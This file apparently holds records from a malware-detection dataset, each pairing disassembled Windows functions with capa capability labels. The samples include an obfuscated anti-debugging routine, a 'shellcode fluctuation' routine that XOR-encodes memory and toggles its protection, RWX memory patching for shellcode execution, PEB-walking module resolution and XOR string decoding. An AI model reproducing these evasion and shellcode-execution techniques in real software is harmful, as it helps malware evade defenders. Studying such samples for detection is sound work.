joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180018d50
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x180018d78
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x180018d78
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140978d8c
Capabilities:
Execute anti-debugging instructions

Disassembly:
neg ebx
clc
cmp dil, r11b
not ebx
cmp r10w, ax
xor ebx, 0x44b16b27
cmc
add ebx, 0x51f2af9
stc
cmc
clc
push r9
xor dword [rsp], ebx
sbb r9b, cl
rcl r9, cl
movsxd r9, ebp
pop r9
movsxd rbx, ebx
add rbp, rbx
push rbp
ret
push rbp
movsx rbp, sp
push rdx
xchg bpl, dl
push rax
setne dh
rdtsc
push r11
push r10
movsxd rax, esi
movzx ebp, ax
mov bp, 0x7309
push rbx
push r14
mov bh, 0x3c
movsx dx, dl
cwde
push rdi
pushfq
movsx eax, r11w
cdqe
push r13
push r15
lahf
push r12
rol rbx, 0x1c
rdtsc
push rcx
cmovnp bp, r8w
movzx dx, r8b
push r8
bts edi, eax
movzx rax, r14w
push r9
rcr bl, cl
movsx ebp, r12w
bt r9w, 0x53
push rsi
xchg r8d, ebx
cmovb rdx, rax
movzx di, bpl
movabs rax, 0
cmc
push rax
stc
ror sil, 0x70
bt di, 0x7d
mov r8, qword [rsp + 0x90]
ror r8d, 2
dec r8d
neg r8d
movsx edx, r11w
dec r8d
bts rbx, r10
add r8, rax
movsxd rbx, ecx
movabs rdi, 0x100000000
sbb bx, 0x14d8
cmp bl, bpl
add r8, rdi
shld bx, r12w, 0xe
rol si, 0xd7
bsf r9, rsi
mov rsi, rsp
or bx, r13w
sub rsp, 0x180
movzx ebx, r9w
and rsp, 0xfffffffffffffff0
mov bpl, 0x65
and bx, 0x204c
mov r9, r8
movabs rdx, 0
sbb rbp, r10
rcl bp, cl
sub r9, rdx
lea rbp, [0x140978e8b]
test r14b, r12b
sbb bh, 0x55
sub r8, 4
mov ebx, dword [r8]
xor ebx, r9d
jmp 0x1408e86ed
Function at 0x1400020d0
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister
Terminate process

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
mov eax, 0x1470
call fcn.1400060e0
sub rsp, rax
mov rax, qword [0x14000b008]
xor rax, rsp
mov qword [rsp + 0x1460], rax
mov rdi, rcx
cmp dword [0x14000b9a0], 0
je 0x1400022eb
cmp qword [0x14000b9a8], 0
jne 0x1400022eb
call fcn.140002330
test al, al
je 0x1400022eb
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0xb0], xmm0
mov qword [rsp + 0xc0], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rdx, rax
lea rcx, [rsp + 0xb0]
call fcn.140001fb0
nop
mov rbx, qword [rsp + 0xb0]
mov r8, qword [rsp + 0xb8]
cmp rbx, r8
je 0x140002310
mov rdx, qword [rbx]
cmp rdi, rdx
jbe 0x14000217e
mov rcx, qword [rbx + 0x18]
add rcx, rdx
cmp rdi, rcx
jb 0x140002184
add rbx, 0x30
jmp 0x140002161
mov qword [0x14000b9a8], rdx
mov rax, qword [rbx + 0x18]
mov qword [0x14000b9b0], rax
mov byte [0x14000b9b8], 0
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rsp + 0x1454], 0xffffffff
mov dword [rsp + 0xd4], eax
mov edx, 1
nop word [rax + rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rsp + rdx*4 + 0xd4], eax
inc rdx
cmp rdx, 0x270
jb 0x1400021c0
mov dword [rsp + 0xd0], 0x270
lea rcx, [rsp + 0xd0]
call fcn.140004ed0
mov dword [0x14000b9bc], eax
lea rcx, str.___Fluctuation_initialized.
call fcn.140003b40
mov esi, dword [0x14000b9bc]
mov edx, 8
lea rcx, [rsp + 0x90]
call qword [sym.imp.MSVCP140.dll_struct_std::_Smanip_long_long___int64_____cdecl_std::setw_long_long___int64__]
mov rdi, qword [rbx + 0x18]
mov rbx, qword [rbx]
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x70], xmm0
mov edx, 8
lea rcx, [rsp + 0xa0]
call qword [sym.imp.MSVCP140.dll_struct_std::_Smanip_long_long___int64_____cdecl_std::setw_long_long___int64__]
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x80], xmm0
mov dword [rsp + 0x60], esi
mov byte [rsp + 0x58], 0x30
lea rax, [rsp + 0x70]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x20], rbx
mov r9b, 0x30
lea r8, [rsp + 0x80]
call fcn.140003d20
nop
mov r8, qword [rsp + 0xb0]
test r8, r8
je 0x1400022eb
mov rcx, qword [rsp + 0xc0]
sub rcx, r8
movabs rax, 0x2aaaaaaaaaaaaaab
imul rcx
sar rdx, 3
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rdx, [rdx + rdx*2]
shl rdx, 4
mov rax, r8
cmp rdx, 0x1000
jb 0x1400022e3
add rdx, 0x27
mov r8, qword [r8 - 8]
sub rax, r8
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400022e3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r8
call fcn.1400052dc
mov rcx, qword [rsp + 0x1460]
xor rcx, rsp
call fcn.140005280
lea r11, [rsp + 0x1470]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
lea rcx, str.____Could_not_initialize_shellcode_fluctuation_
call fcn.140003b40
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x1400023d0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 0x18], rbx
push rsi
push rdi
push r14
sub rsp, 0x40
mov rax, qword [0x14000b008]
xor rax, rsp
mov qword [rsp + 0x38], rax
xor r14b, r14b
mov word [rsp + 0x20], 0xba49
mov word [rsp + 0x2a], 0xff41
lea rax, [0x140001f10]
mov qword [rsp + 0x22], rax
mov rbx, r9
mov dword [rsp + 0x30], 0
mov rdi, rdx
mov esi, 0xd
test cl, cl
je 0x14000247b
test rbx, rbx
je 0x140002446
mov rcx, qword [r9 + 0x10]
test rcx, rcx
je 0x140002530
mov eax, dword [r9 + 0x18]
test eax, eax
je 0x140002530
mov r8d, eax
call sub.VCRUNTIME140.dll_memcpy
lea r9, [rsp + 0x30]
mov r8d, 0x40
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1400024d1
movsd xmm0, qword [rsp + 0x20]
mov r14b, 1
mov eax, dword [rsp + 0x28]
movsd qword [rdi], xmm0
mov dword [rdi + 8], eax
mov byte [rdi + 0xc], 0xe2
jmp 0x1400024d1
test rbx, rbx
je 0x140002530
cmp qword [r9], 0
je 0x140002530
mov eax, dword [r9 + 8]
test eax, eax
je 0x140002530
lea r9, [rsp + 0x30]
mov qword [rsp + 0x60], rbp
mov r8d, 0x40
mov edx, eax
mov rcx, rdi
mov esi, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1400024cc
mov rdx, qword [rbx]
mov r8d, esi
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov r14b, 1
mov rbp, qword [rsp + 0x60]
mov rbx, qword [0x14000b9c8]
test rbx, rbx
jne 0x140002504
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtFlushInstructionCache
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
mov qword [0x14000b9c8], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r8d, esi
mov rdx, rdi
mov rcx, rax
call rbx
mov r8d, dword [rsp + 0x30]
lea r9, [rsp + 0x30]
mov edx, esi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
movzx eax, r14b
jmp 0x140002532
xor al, al
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.140005280
mov rbx, qword [rsp + 0x70]
add rsp, 0x40
pop r14
pop rdi
pop rsi
ret
Function at 0x140002550
Capabilities:
Encode data using xor

Disassembly:
sub rsp, 0x38
mov rax, qword [0x14000b008]
xor rax, rsp
mov qword [rsp + 0x28], rax
cmp dword [0x14000b9a0], 0
je 0x14000273f
cmp qword [0x14000b9a8], 0
je 0x14000273f
cmp qword [0x14000b9b0], 0
jbe 0x14000273f
call fcn.140002330
test al, al
je 0x14000273f
movzx eax, byte [0x14000b9b8]
mov qword [rsp + 0x30], rbx
xor ebx, ebx
mov dword [rsp + 0x20], ebx
test al, al
je 0x1400025b8
cmp dword [0x14000b9a0], 2
jne 0x1400025ec
mov rdx, qword [0x14000b9b0]
lea r9, [0x14000b9c0]
mov rcx, qword [0x14000b9a8]
mov r8d, 4
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea rcx, str.____Flipped_to_RW.
call fcn.140003b40
movzx eax, byte [0x14000b9b8]
test al, al
lea rdx, str.____Decoding...
lea rcx, str.____Encoding...
cmovne rcx, rdx
call fcn.140003b40
mov edx, dword [0x14000b9bc]
mov r9, qword [0x14000b9b0]
mov rcx, qword [0x14000b9a8]
mov rax, r9
shr rax, 2
movd xmm2, edx
pshufd xmm2, xmm2, 0
test rax, rax
je 0x1400026ab
cmp rax, 0x10
jb 0x1400026a0
mov r10, rax
lea r8, [rcx + 0x20]
and r10, 0xfffffffffffffff0
nop
movdqu xmm0, xmmword [r8 - 0x20]
lea r8, [r8 + 0x40]
add rbx, 0x10
movdqa xmm1, xmm2
pxor xmm1, xmm0
movdqu xmmword [r8 - 0x60], xmm1
movdqa xmm1, xmm2
movdqu xmm0, xmmword [r8 - 0x50]
pxor xmm0, xmm2
movdqu xmmword [r8 - 0x50], xmm0
movdqu xmm0, xmmword [r8 - 0x40]
pxor xmm1, xmm0
movdqu xmmword [r8 - 0x40], xmm1
movdqu xmm0, xmmword [r8 - 0x30]
pxor xmm0, xmm2
movdqu xmmword [r8 - 0x30], xmm0
cmp rbx, r10
jb 0x140002640
cmp rbx, rax
jae 0x1400026ab
nop word [rax + rax]
xor dword [rcx + rbx*4], edx
inc rbx
cmp rbx, rax
jb 0x1400026a0
mov rbx, qword [rsp + 0x30]
lea rax, [rax*4]
cmp rax, r9
jae 0x1400026cb
nop dword [rax]
xor byte [rax + rcx], dl
inc rax
cmp rax, r9
jb 0x1400026c0
cmp byte [0x14000b9b8], 0
jne 0x140002705
cmp dword [0x14000b9a0], 2
jne 0x140002731
mov rdx, qword [0x14000b9b0]
lea r9, [rsp + 0x20]
mov rcx, qword [0x14000b9a8]
mov r8d, 1
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea rcx, str.____Flipped_to_No_Access._n
jmp 0x14000272c
mov r8d, dword [0x14000b9c0]
lea r9, [rsp + 0x20]
mov rdx, qword [0x14000b9b0]
mov rcx, qword [0x14000b9a8]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea rcx, str.____Flipped_back_to_RX_RWX._n
call fcn.140003b40
cmp byte [0x14000b9b8], 0
sete byte [0x14000b9b8]
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.140005280
add rsp, 0x38
ret
Function at 0x140004ed0
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
sub rsp, 8
mov r10, rcx
mov r9d, 0x270
mov ecx, dword [rcx]
cmp ecx, r9d
jne 0x140004f31
lea r8, [r10 + 8]
nop dword [rax + rax]
mov edx, dword [r8 - 4]
xor edx, dword [r8]
lea r8, [r8 + 4]
btr edx, 0x1f
xor edx, dword [r8 - 8]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x62c]
xor ecx, edx
mov dword [r8 + 0x9b8], ecx
sub r9, 1
jne 0x140004ef0
mov ecx, dword [r10]
jmp 0x14000501a
cmp ecx, 0x4e0
jb 0x14000501a
lea r11, [r10 + 0x9c4]
mov qword [rsp], rbx
mov eax, dword [r11]
mov ebx, 0xe3
mov edx, dword [r11 + 4]
lea r8, [r11 + 4]
xor edx, eax
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
mov eax, dword [r8]
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r11 + 0x634]
xor ecx, edx
mov dword [r11 - 0x9c0], ecx
lea r11, [r8]
sub rbx, 1
jne 0x140004f50
lea r11, [r10 + 0xd50]
mov ebx, 0x18c
mov eax, dword [r11]
nop dword [rax + rax]
mov edx, eax
lea r8, [r11 + 4]
xor edx, dword [r8]
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
mov eax, dword [r8]
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r11 - 0xd4c]
xor ecx, edx
mov dword [r11 - 0x9c0], ecx
lea r11, [r8]
sub rbx, 1
jne 0x140004fa0
mov edx, dword [r10 + 0x1380]
xor edx, dword [r10 + 4]
mov rbx, qword [rsp]
btr edx, 0x1f
xor edx, dword [r10 + 0x1380]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r10 + 0x634]
xor ecx, edx
mov dword [r10 + 0x9c0], ecx
xor ecx, ecx
mov dword [r10], ecx
mov eax, ecx
mov edx, dword [r10 + rax*4 + 4]
lea eax, [rcx + 1]
mov dword [r10], eax
mov ecx, edx
mov eax, dword [r10 + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
xor eax, edx
add rsp, 8
ret
Function at 0x140bc1058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.140bc11df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x140bc1089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140bc106f
add dl, dl
jne 0x140bc1096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140bc10f6
xor eax, eax
add dl, dl
jne 0x140bc10a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140bc11ad
add dl, dl
jne 0x140bc10b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140bc10c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140bc10d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140bc10dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x140bc10ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x140bc107e
mov eax, 1
add dl, dl
jne 0x140bc1106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140bc1113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140bc10fb
sub eax, ebx
mov ebx, 1
jne 0x140bc114c
mov ecx, 1
add dl, dl
jne 0x140bc112e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140bc113b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140bc1123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140bc107e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x140bc1168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140bc1175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140bc115d
cmp eax, 0x7d00
jae 0x140bc119b
cmp eax, 0x500
jb 0x140bc1196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140bc107e
cmp eax, 0x7f
ja 0x140bc119e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140bc107e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x140bc11d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x140bc107e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140003530
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rbx, rcx
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov rcx, rax
lea r8d, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
xor r11d, r11d
lea rsi, str.Punbb_ttwins_tdynadata_tappmasterpages_tsalesreps_tdrugstore_tsylvia_tzamowienie_titemimages_tsocios_tkevin_tpermissions_tdonkey_tja_tlist_tquangcao_tlostpass_tcalls_tipsrichcontent_tdeneme_tremove_tdataxml_tqs_tlycos_tassociation_tpolybot_tgenres_thtaccess_tlangpl_tpartage_tascii_tsal_tmenubt_taos_tdata_tresa_tjnj_tdealerimages_tnotify_tuploadimages_tcookietest_tretailers_tares_tjavaplugin_tshowmap
mov r10, rax
sub rbx, rax
movabs rdi, 0x6d1a62681c860fb1
lea r9, [rax + 1]
nop dword [rax + rax]
movsxd r8, r11d
mov rax, rdi
mul r8
mov rax, r8
mov rcx, r8
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 8
imul rax, rax, 0x167
sub rcx, rax
movzx eax, byte [rcx + rsi]
lea rcx, [r8 + 1]
xor al, byte [rbx + r9 - 1]
mov byte [r9 - 1], al
mov rax, rdi
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 8
imul rax, rax, 0x167
sub rcx, rax
movzx eax, byte [rcx + rsi]
lea rcx, [r8 + 2]
xor al, byte [rbx + r9]
mov byte [r9], al
mov rax, rdi
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 8
imul rax, rax, 0x167
sub rcx, rax
movzx eax, byte [rcx + rsi]
lea rcx, [r8 + 3]
xor al, byte [rbx + r9 + 1]
mov byte [r9 + 1], al
mov rax, rdi
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 8
imul rax, rax, 0x167
sub rcx, rax
movzx eax, byte [rcx + rsi]
lea rcx, [r8 + 4]
xor al, byte [rbx + r9 + 2]
mov byte [r9 + 2], al
mov rax, rdi
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 8
imul rax, rax, 0x167
sub rcx, rax
movzx eax, byte [rcx + rsi]
lea rcx, [r8 + 5]
xor al, byte [rbx + r9 + 3]
mov byte [r9 + 3], al
mov rax, rdi
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 8
imul rax, rax, 0x167
sub rcx, rax
movzx eax, byte [rcx + rsi]
lea rcx, [r8 + 6]
xor al, byte [rbx + r9 + 4]
mov byte [r9 + 4], al
mov rax, rdi
mul rcx
mov rax, rcx
lea r9, [r9 + 0xa]
sub rax, rdx
add r11d, 0xa
shr rax, 1
add rax, rdx
shr rax, 8
imul rax, rax, 0x167
sub rcx, rax
movzx eax, byte [rcx + rsi]
lea rcx, [r8 + 7]
xor al, byte [rbx + r9 - 5]
mov byte [r9 - 5], al
mov rax, rdi
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 8
imul rax, rax, 0x167
sub rcx, rax
movzx eax, byte [rcx + rsi]
lea rcx, [r8 + 8]
xor al, byte [rbx + r9 - 4]
mov byte [r9 - 4], al
mov rax, rdi
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 8
imul rax, rax, 0x167
sub rcx, rax
movzx eax, byte [rcx + rsi]
lea rcx, [r8 + 9]
xor al, byte [rbx + r9 - 3]
mov byte [r9 - 3], al
mov rax, rdi
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 8
imul rax, rax, 0x167
sub rcx, rax
movzx eax, byte [rcx + rsi]
xor al, byte [rbx + r9 - 2]
mov byte [r9 - 2], al
cmp r11d, 0xa
jb 0x140003580
mov rbx, qword [rsp + 0x30]
mov rax, r10
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x140004cc0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rbx, rcx
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov rcx, rax
lea r8d, [rdx - 2]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
xor r11d, r11d
lea rsi, str.Punbb_ttwins_tdynadata_tappmasterpages_tsalesreps_tdrugstore_tsylvia_tzamowienie_titemimages_tsocios_tkevin_tpermissions_tdonkey_tja_tlist_tquangcao_tlostpass_tcalls_tipsrichcontent_tdeneme_tremove_tdataxml_tqs_tlycos_tassociation_tpolybot_tgenres_thtaccess_tlangpl_tpartage_tascii_tsal_tmenubt_taos_tdata_tresa_tjnj_tdealerimages_tnotify_tuploadimages_tcookietest_tretailers_tares_tjavaplugin_tshowmap
mov r10, rax
sub rbx, rax
movabs rdi, 0x6d1a62681c860fb1
lea r9, [rax + 1]
nop dword [rax + rax]
movsxd r8, r11d
lea r9, [r9 + 6]
mov rax, rdi
mov rcx, r8
mul r8
mov rax, r8
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 8
imul rax, rax, 0x167
sub rcx, rax
movzx eax, byte [rcx + rsi]
lea rcx, [r8 + 1]
xor al, byte [rbx + r9 - 7]
mov byte [r9 - 7], al
mov rax, rdi
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 8
imul rax, rax, 0x167
sub rcx, rax
movzx eax, byte [rcx + rsi]
lea rcx, [r8 + 2]
xor al, byte [r9 + rbx - 6]
mov byte [r9 - 6], al
mov rax, rdi
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 8
imul rax, rax, 0x167
sub rcx, rax
movzx eax, byte [rcx + rsi]
lea rcx, [r8 + 3]
xor al, byte [rbx + r9 - 5]
mov byte [r9 - 5], al
mov rax, rdi
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 8
imul rax, rax, 0x167
sub rcx, rax
movzx eax, byte [rcx + rsi]
lea rcx, [r8 + 4]
xor al, byte [rbx + r9 - 4]
mov byte [r9 - 4], al
mov rax, rdi
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 8
imul rax, rax, 0x167
sub rcx, rax
movzx eax, byte [rcx + rsi]
lea rcx, [r8 + 5]
xor al, byte [rbx + r9 - 3]
mov byte [r9 - 3], al
mov rax, rdi
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 8
imul rax, rax, 0x167
sub rcx, rax
movzx eax, byte [rcx + rsi]
xor al, byte [rbx + r9 - 2]
mov byte [r9 - 2], al
add r11d, 6
cmp r11d, 6
jb 0x140004d10
mov rbx, qword [rsp + 0x30]
mov rax, r10
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x140005ca0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rbx, rcx
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov rcx, rax
lea r8d, [rdx + 4]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
xor r11d, r11d
lea rsi, str.Punbb_ttwins_tdynadata_tappmasterpages_tsalesreps_tdrugstore_tsylvia_tzamowienie_titemimages_tsocios_tkevin_tpermissions_tdonkey_tja_tlist_tquangcao_tlostpass_tcalls_tipsrichcontent_tdeneme_tremove_tdataxml_tqs_tlycos_tassociation_tpolybot_tgenres_thtaccess_tlangpl_tpartage_tascii_tsal_tmenubt_taos_tdata_tresa_tjnj_tdealerimages_tnotify_tuploadimages_tcookietest_tretailers_tares_tjavaplugin_tshowmap
mov r10, rax
sub rbx, rax
movabs rdi, 0x6d1a62681c860fb1
lea r9, [rax + 2]
nop dword [rax + rax]
movsxd r8, r11d
mov rax, rdi
mul r8
mov rax, r8
mov rcx, r8
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 8
imul rax, rax, 0x167
sub rcx, rax
movzx eax, byte [rcx + rsi]
lea rcx, [r8 + 1]
xor al, byte [rbx + r9 - 2]
movsx eax, al
mov word [r9 - 2], ax
mov rax, rdi
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 8
imul rax, rax, 0x167
sub rcx, rax
movzx eax, byte [rcx + rsi]
lea rcx, [r8 + 2]
xor al, byte [r9 + rbx]
movsx eax, al
mov word [r9], ax
mov rax, rdi
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 8
imul rax, rax, 0x167
sub rcx, rax
movzx eax, byte [rcx + rsi]
lea rcx, [r8 + 3]
xor al, byte [rbx + r9 + 2]
movsx eax, al
mov word [r9 + 2], ax
mov rax, rdi
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 8
imul rax, rax, 0x167
sub rcx, rax
movzx eax, byte [rcx + rsi]
lea rcx, [r8 + 4]
xor al, byte [rbx + r9 + 4]
movsx eax, al
mov word [r9 + 4], ax
mov rax, rdi
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 8
imul rax, rax, 0x167
sub rcx, rax
movzx eax, byte [rcx + rsi]
lea rcx, [r8 + 5]
xor al, byte [rbx + r9 + 6]
movsx eax, al
mov word [r9 + 6], ax
mov rax, rdi
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 8
imul rax, rax, 0x167
sub rcx, rax
movzx eax, byte [rcx + rsi]
add r11d, 6
xor al, byte [rbx + r9 + 8]
lea r9, [r9 + 0xc]
movsx eax, al
mov word [r9 - 4], ax
cmp r11d, 6
jb 0x140005cf0
mov rbx, qword [rsp + 0x30]
mov rax, r10
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x14000a1d0
Capabilities:
Access peb ldr_data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rax, qword gs:[0x60]
mov rsi, rcx
mov rdi, qword [rax + 0x18]
add rdi, 0x20
mov rbx, qword [rdi]
cmp rbx, rdi
je 0x14000a232
nop dword [rax + rax]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov rcx, rax
mov r8d, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rcx, qword [rbx + 0x40]
mov rdx, rsi
mov r8, rax
call fcn.14000a260
test al, al
jne 0x14000a244
mov rbx, qword [rbx]
cmp rbx, rdi
jne 0x14000a200
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
mov rax, qword [rbx + 0x20]
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push rbp
push r14
push r15
mov rbp, rsp
sub rsp, 0x40
mov eax, 0x73
mov dword [rbp - 0x20], 0x30001b
lea rcx, [rbp - 0x20]
mov word [rbp - 0xc], ax
mov dword [rbp - 0x1c], 0x2c003c
mov dword [rbp - 0x18], 0x450027
mov dword [rbp - 0x14], 0x360036
mov dword [rbp - 0x10], 0x2b003a
call fcn.140005e60
mov rcx, rax
call 0x14000a1d0
mov qword [0x1400171b8], rax
lea rcx, [rbp - 0x20]
mov eax, 0x69
mov dword [rbp - 0x20], 0x30001b
mov word [rbp - 0x10], ax
mov dword [rbp - 0x1c], 0x2c003c
mov dword [rbp - 0x18], 0x450027
mov dword [rbp - 0x14], 0x450047
call fcn.140002590
mov rcx, rax
call 0x14000a1d0
lea rcx, [rbp - 0x20]
mov qword [0x1400171a8], rax
mov dword [rbp - 0x20], 0x1003e
mov dword [rbp - 0x1c], 0xe000a
mov dword [rbp - 0x18], 0x9000e
call fcn.140005ca0
mov rcx, rax
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
mov rdi, qword [rsp + 0x70]
mov r12, qword [rsp + 0x78]
add rsp, 0x40
pop r15
pop r14
pop rbp
jmp 0x14000a1d0